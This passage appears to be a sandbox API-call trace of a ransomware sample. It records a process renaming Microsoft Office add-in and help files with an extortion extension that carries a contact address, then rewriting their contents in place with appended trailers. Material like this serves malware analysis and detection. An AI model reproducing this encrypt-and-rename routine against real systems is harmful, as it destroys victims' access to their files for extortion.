Add-in\\Microsoft.Office.PowerPivot.ExcelAddIn.tlb", len=0x79 | out: pbstr=0x313ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Office.PowerPivot.ExcelAddIn.tlb") returned 1 [0161.056] GetProcessHeap () returned 0x630000 [0161.056] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bd4) returned 0x707d3d0 [0161.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Office.PowerPivot.ExcelAddIn.tlb" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.office.powerpivot.exceladdin.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0161.056] CloseHandle (hObject=0x704) returned 1 [0161.056] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0161.057] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Office.PowerPivot.ExcelAddIn.tlb" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.office.powerpivot.exceladdin.tlb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Office.PowerPivot.ExcelAddIn.tlb.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.office.powerpivot.exceladdin.tlb.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0161.057] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.058] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Office.PowerPivot.ExcelAddIn.tlb.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfd4, dwReserved0=0x31002d, dwReserved1=0x390039, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.tlb.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MICROS~1.FIR")) returned 0x6d5480 [0161.058] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0161.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Office.PowerPivot.ExcelAddIn.tlb.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.office.powerpivot.exceladdin.tlb.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0161.058] GetProcessHeap () returned 0x630000 [0161.058] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfe1) returned 0x6fe7c0 [0161.058] GetProcessHeap () returned 0x630000 [0161.058] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfe1) returned 0x6fd7b8 [0161.058] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.058] ReadFile (in: hFile=0x704, lpBuffer=0x6fe7c0, nNumberOfBytesToRead=0xfc0, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fe7c0*, lpNumberOfBytesRead=0x313ff0c*=0xfc0, lpOverlapped=0x0) returned 1 [0161.097] GetProcessHeap () returned 0x630000 [0161.097] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175cd8 [0161.097] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.097] WriteFile (in: hFile=0x704, lpBuffer=0x6fd7b8*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd7b8*, lpNumberOfBytesWritten=0x313ff0c*=0xfc0, lpOverlapped=0x0) returned 1 [0161.097] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.097] WriteFile (in: hFile=0x704, lpBuffer=0x6fe777*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fe777*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0161.097] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.098] WriteFile (in: hFile=0x704, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0161.098] CloseHandle (hObject=0x704) returned 1 [0161.098] GetProcessHeap () returned 0x630000 [0161.098] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fd7b8 | out: hHeap=0x630000) returned 1 [0161.098] GetProcessHeap () returned 0x630000 [0161.098] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fe7c0 | out: hHeap=0x630000) returned 1 [0161.098] GetProcessHeap () returned 0x630000 [0161.098] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175cd8 | out: hHeap=0x630000) returned 1 [0161.098] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.098] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Office.PowerPivot.ExcelAddIn.tlb.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x25f8c114, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xff8, dwReserved0=0x313fd20, dwReserved1=0x6fe7c0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.tlb.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MICROS~1.FIR")) returned 0x6d5280 [0161.100] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0161.100] Sleep (dwMilliseconds=0x1) [0163.489] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1066\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x313ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1066\\PowerPivotExcelClientAddIn.rll") returned 1 [0163.489] GetProcessHeap () returned 0x630000 [0163.489] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c30) returned 0x707d3d0 [0163.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1066\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1066\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0165.379] CloseHandle (hObject=0x674) returned 1 [0165.379] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0165.379] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1066\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1066\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1066\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1066\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0168.106] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0168.106] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1066\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5280 [0168.107] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0168.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1066\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1066\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0168.107] GetProcessHeap () returned 0x630000 [0168.107] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7382588 [0168.107] GetProcessHeap () returned 0x630000 [0168.107] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71f9160 [0168.108] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.108] ReadFile (in: hFile=0x674, lpBuffer=0x7382588, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7382588*, lpNumberOfBytesRead=0x313ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0174.758] GetProcessHeap () returned 0x630000 [0174.758] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176e58 [0174.758] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.758] WriteFile (in: hFile=0x674, lpBuffer=0x71f9160*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f9160*, lpNumberOfBytesWritten=0x313ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0174.759] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.759] WriteFile (in: hFile=0x674, lpBuffer=0x720455f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x720455f*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0176.778] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.778] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0176.778] CloseHandle (hObject=0x674) returned 1 [0176.778] GetProcessHeap () returned 0x630000 [0176.778] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f9160 | out: hHeap=0x630000) returned 1 [0176.989] GetProcessHeap () returned 0x630000 [0176.989] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7382588 | out: hHeap=0x630000) returned 1 [0176.989] GetProcessHeap () returned 0x630000 [0176.989] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176e58 | out: hHeap=0x630000) returned 1 [0177.054] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.054] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1066\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2f51f7e3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11a84, dwReserved0=0xc3c7496, dwReserved1=0x7382580, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5280 [0177.054] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0177.054] Sleep (dwMilliseconds=0x1) [0177.062] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_K_COL.HXK", len=0x46 | out: pbstr=0x313ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_K_COL.HXK") returned 1 [0177.062] GetProcessHeap () returned 0x630000 [0177.062] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b28) returned 0x707d3d0 [0177.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0177.148] CloseHandle (hObject=0x678) returned 1 [0177.148] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.148] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.149] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.149] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b93a5c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b93a5c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WI87EF~1.FIR")) returned 0x6d52c0 [0177.149] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0177.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0177.149] GetProcessHeap () returned 0x630000 [0177.149] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4ce8 [0177.149] GetProcessHeap () returned 0x630000 [0177.149] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4598 [0177.149] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.149] ReadFile (in: hFile=0x678, lpBuffer=0x6a4ce8, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4ce8*, lpNumberOfBytesRead=0x313ff0c*=0x60, lpOverlapped=0x0) returned 1 [0177.151] GetProcessHeap () returned 0x630000 [0177.151] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0177.151] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.151] WriteFile (in: hFile=0x678, lpBuffer=0x6a4598*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4598*, lpNumberOfBytesWritten=0x313ff0c*=0x60, lpOverlapped=0x0) returned 1 [0177.151] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.151] WriteFile (in: hFile=0x678, lpBuffer=0x6a45f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a45f7*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0177.151] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.151] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0177.151] CloseHandle (hObject=0x678) returned 1 [0177.151] GetProcessHeap () returned 0x630000 [0177.151] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4598 | out: hHeap=0x630000) returned 1 [0177.151] GetProcessHeap () returned 0x630000 [0177.151] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4ce8 | out: hHeap=0x630000) returned 1 [0177.151] GetProcessHeap () returned 0x630000 [0177.151] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0177.151] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.152] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b93a5c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x2f88cca1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x313fd20, dwReserved1=0x6a4ce8, cFileName="WINPROJ_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WI87EF~1.FIR")) returned 0x6d4e40 [0177.152] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0177.152] Sleep (dwMilliseconds=0x1) [0179.039] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2074\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x313ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2074\\PowerPivotExcelClientAddIn.rll") returned 1 [0179.039] GetProcessHeap () returned 0x630000 [0179.040] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2ab8) returned 0x707d3d0 [0179.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2074\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\2074\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0179.041] CloseHandle (hObject=0x4e0) returned 1 [0179.041] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0179.041] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2074\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\2074\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2074\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\2074\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0179.042] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0179.042] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2074\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5580 [0179.042] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0179.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2074\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\2074\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0179.043] GetProcessHeap () returned 0x630000 [0179.043] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x729af40 [0179.043] GetProcessHeap () returned 0x630000 [0179.043] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7333838 [0179.044] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.044] ReadFile (in: hFile=0x4e0, lpBuffer=0x729af40, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x729af40*, lpNumberOfBytesRead=0x313ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0187.174] GetProcessHeap () returned 0x630000 [0187.174] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0187.174] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.174] WriteFile (in: hFile=0x4e0, lpBuffer=0x7333838*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7333838*, 